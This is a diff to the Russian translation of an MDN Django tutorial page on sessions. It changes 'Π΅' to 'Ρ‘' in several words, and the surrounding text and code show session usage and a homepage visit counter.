-<p class="summary">Π­Ρ‚Π° Ρ‡Π°ΡΡ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ наш сайт <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, добавляя счСтчик посСщСний домашнСй страницы, Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ сСссий. Π­Ρ‚ΠΎ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½ΠΎ ΠΎΠ½ дСмонстрируСт Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ сСссий Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Π½Π°Π»ΠΈΠ· повСдСния Π°Π½ΠΎΠ½ΠΈΠΌΠ½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ Π½Π° сайтС.</p>
+<p class="summary">Π­Ρ‚Π° Ρ‡Π°ΡΡ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ наш сайт <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, добавляя счётчик посСщСний домашнСй страницы, Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ сСссий. Π­Ρ‚ΠΎ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½ΠΎ ΠΎΠ½ дСмонстрируСт Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ сСссий Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Π½Π°Π»ΠΈΠ· повСдСния Π°Π½ΠΎΠ½ΠΈΠΌΠ½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ Π½Π° сайтС.</p>
<table class="learn-box standard-table">
<tbody>
<tr>
<th scope="row">ВрСбования:</th>
- <td>Π—Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅ всСх ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ², Π²ΠΊΠ»ΡŽΡ‡Π°Ρ <a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Руководство Π§Π°ΡΡ‚ΡŒ 6: ΠžΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹Π΅ отобраТСния списков ΠΈ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ</a></td>
+ <td>Π—Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅ всСх ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ², Π²ΠΊΠ»ΡŽΡ‡Π°Ρ <a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Руководство Π§Π°ΡΡ‚ΡŒ 6: ΠžΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹Π΅ отобраТСния списков ΠΈ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ</a></td>
</tr>
<tr>
<th scope="row">ЦСль:</th>
@@ -44,7 +44,7 @@ original_slug: Learn/Server-side/Django/БСссии
<h2 id="Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_сСссии">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ сСссии?</h2>
-<p>ВсС взаимодСйствия ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ ΠΈ сСрвСрами ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° HTTP, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ сохраняСт своС состояниС (<em>stateless)</em>. Π”Π°Π½Π½Ρ‹ΠΉ Ρ„Π°ΠΊΡ‚ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ сообщСния ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ ΠΈ сСрвСром ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ нСзависимыми ΠΎΠ΄ΠΈΠ½ ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ β€” Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π½Π΅ сущСствуСт ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ прСдставлСния "ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ", ΠΈΠ»ΠΈ повСдСния Π² зависимости ΠΎΡ‚ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… сообщСний. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ сайт ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ взаимодСйствиС с ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ (Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ), Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ это ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ.</p>
+<p>ВсС взаимодСйствия ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ ΠΈ сСрвСрами ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° HTTP, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ сохраняСт своё состояниС (<em>stateless)</em>. Π”Π°Π½Π½Ρ‹ΠΉ Ρ„Π°ΠΊΡ‚ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ сообщСния ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ ΠΈ сСрвСром ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ нСзависимыми ΠΎΠ΄ΠΈΠ½ ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ β€” Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π½Π΅ сущСствуСт ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ прСдставлСния "ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ", ΠΈΠ»ΠΈ повСдСния Π² зависимости ΠΎΡ‚ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… сообщСний. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ сайт ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ взаимодСйствиС с ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ (Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ), Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ это ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ.</p>
<p>БСссии ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Django (Π΄Π° ΠΈ вСсь ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠΉ "Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚") для отслСТивания "состояния" ΠΌΠ΅ΠΆΠ΄Ρƒ сайтом ΠΈ ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ. БСссии ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²Π°ΠΌ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΠΈΡ… Π² Ρ‚ΠΎΡ‚ ΠΌΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° ΠΌΠ΅ΠΆΠ΄Ρƒ Π΄Π°Π½Π½Ρ‹ΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΈ сайтом устанавливаСтся соСдинСниС. Π”Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°ΡŽΡ‚ΡΡ ΠΈ ΡΠΎΡ…Ρ€Π°Π½ΡΡŽΡ‚ΡΡ Π² сСссии ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ "ΠΊΠ»ΡŽΡ‡Π°".</p>
@@ -68,9 +68,9 @@ MIDDLEWARE = [
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅_сСссий">ΠŸΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ сСссий</h2>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>session</code>, Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ, Ρ‡Π΅Ρ€Π΅Π· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>request</code> (<code>HttpRequest</code> пСрСдаСтся ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅). ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°Ρ сСссии являСтся связью с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ (ΠΈΠ»ΠΈ, Ссли Π±Ρ‹Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½Ρ‹ΠΌ, связью с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ <em>Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ</em>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ опрСдСляСтся ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° (id) сСссии, ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌΠΎΠ³ΠΎ ΠΈΠ· ΠΊΡƒΠΊΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°).</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>session</code>, Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ, Ρ‡Π΅Ρ€Π΅Π· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>request</code> (<code>HttpRequest</code> пСрСдаётся ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅). ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°Ρ сСссии являСтся связью с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ (ΠΈΠ»ΠΈ, Ссли Π±Ρ‹Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½Ρ‹ΠΌ, связью с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ <em>Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ</em>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ опрСдСляСтся ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° (id) сСссии, ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌΠΎΠ³ΠΎ ΠΈΠ· ΠΊΡƒΠΊΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°).</p>
-<p>ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°Ρ (ΠΈΠ»ΠΈ ΠΏΠΎΠ»Π΅) <code>session</code> являСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ-словарСм, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ слуТит для чтСния ΠΈ записи Π½Π΅ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΠΎΠ΅ число Ρ€Π°Π·. Π‘ Π½ΠΈΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ стандартныС ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ очистку всСх Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ наличия ΠΊΠ»ΡŽΡ‡Π°, Ρ†ΠΈΠΊΠ»Ρ‹ ΠΏΠΎ Π΄Π°Π½Π½Ρ‹ΠΌ ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅. Π‘ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Ρ‚Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ Π½Π°Β  ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ "словарныС" ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ - получСния ΠΈ установки Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ.</p>
+<p>ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°Ρ (ΠΈΠ»ΠΈ ΠΏΠΎΠ»Π΅) <code>session</code> являСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ-словарём, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ слуТит для чтСния ΠΈ записи Π½Π΅ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΠΎΠ΅ число Ρ€Π°Π·. Π‘ Π½ΠΈΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ стандартныС ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ очистку всСх Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ наличия ΠΊΠ»ΡŽΡ‡Π°, Ρ†ΠΈΠΊΠ»Ρ‹ ΠΏΠΎ Π΄Π°Π½Π½Ρ‹ΠΌ ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅. Π‘ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Ρ‚Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ Π½Π°Β  ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ "словарныС" ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ - получСния ΠΈ установки Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ.</p>
<p>НиТС прСдставлСны Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ Π²Π°ΠΌ ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ, Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ ΠΈ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΊΠ»ΡŽΡ‡Π° "<code>my_car</code>", связанного с Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ сСссиСй (Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ).Β </p>
@@ -83,7 +83,7 @@ MIDDLEWARE = [
my_car = request.session['my_car']
# ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ значСния сСссии. Если значСния Π½Π΅ сущСствуСт,
-# Ρ‚ΠΎ вСрнСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ('mini')
+# Ρ‚ΠΎ вСрнётся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ('mini')
my_car = request.session.get('my_car', 'mini')
# ΠŸΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° значСния Π² сСссию
@@ -115,7 +115,7 @@ request.session['my_car']['wheels'] = 'alloy'
</pre>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ сСссий Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ записывали любоС своС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Π² Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ отправляли ΠΊΡƒΠΊΠΈ, ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ запросС, ΠΏΡƒΡ‚Π΅ΠΌ установки <code>SESSION_SAVE_EVERY_REQUEST = True</code>, Π² Ρ„Π°ΠΉΠ»Π΅ настроСк ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° (<strong>locallibrary/locallibrary/settings.py</strong>).</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ сСссий Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ записывали любоС своё ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Π² Π±Π°Π·Ρƒ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ отправляли ΠΊΡƒΠΊΠΈ, ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ запросС, ΠΏΡƒΡ‚Ρ‘ΠΌ установки <code>SESSION_SAVE_EVERY_REQUEST = True</code>, Π² Ρ„Π°ΠΉΠ»Π΅ настроСк ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° (<strong>locallibrary/locallibrary/settings.py</strong>).</p>
</div>
<h2 id="ΠŸΡ€ΠΎΡΡ‚ΠΎΠΉ_ΠΏΡ€ΠΈΠΌΠ΅Ρ€_β€”_ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅_числа_Π²ΠΈΠ·ΠΈΡ‚ΠΎΠ²">ΠŸΡ€ΠΎΡΡ‚ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ β€” ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ числа Π²ΠΈΠ·ΠΈΡ‚ΠΎΠ²</h2>
@@ -141,7 +141,7 @@ request.session['my_car']['wheels'] = 'alloy'
'num_visits':num_visits}, # num_visits appended</strong>
)</pre>
-<p>Π’ ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>'num_visits'</code> ΠΈΠ· сСссии, возвращая 0, Ссли ΠΎΠ½ΠΎ Π½Π΅ Π±Ρ‹Π»ΠΎ установлСно Ρ€Π°Π½Π΅Π΅. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· ΠΏΡ€ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠΈ запроса, ΠΌΡ‹ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Π΅ΠΌ Π΄Π°Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π° Π΅Π΄ΠΈΠ½ΠΈΡ†Ρƒ ΠΈ сохраняСм Π΅Π³ΠΎ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π² сСссии (Π΄ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ посСщСния Π΄Π°Π½Π½ΠΎΠΉ страницы ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ). Π—Π°Ρ‚Π΅ΠΌ пСрСмСнная <code>num_visits</code> пСрСдаСтся Π² шаблон Ρ‡Π΅Ρ€Π΅Π· ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ контСкста <code>context</code>.Β Β </p>
+<p>Π’ ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>'num_visits'</code> ΠΈΠ· сСссии, возвращая 0, Ссли ΠΎΠ½ΠΎ Π½Π΅ Π±Ρ‹Π»ΠΎ установлСно Ρ€Π°Π½Π΅Π΅. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· ΠΏΡ€ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠΈ запроса, ΠΌΡ‹ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Π΅ΠΌ Π΄Π°Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π° Π΅Π΄ΠΈΠ½ΠΈΡ†Ρƒ ΠΈ сохраняСм Π΅Π³ΠΎ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π² сСссии (Π΄ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ посСщСния Π΄Π°Π½Π½ΠΎΠΉ страницы ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ). Π—Π°Ρ‚Π΅ΠΌ пСрСмСнная <code>num_visits</code> пСрСдаётся Π² шаблон Ρ‡Π΅Ρ€Π΅Π· ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ контСкста <code>context</code>.Β Β </p>
<div class="note">
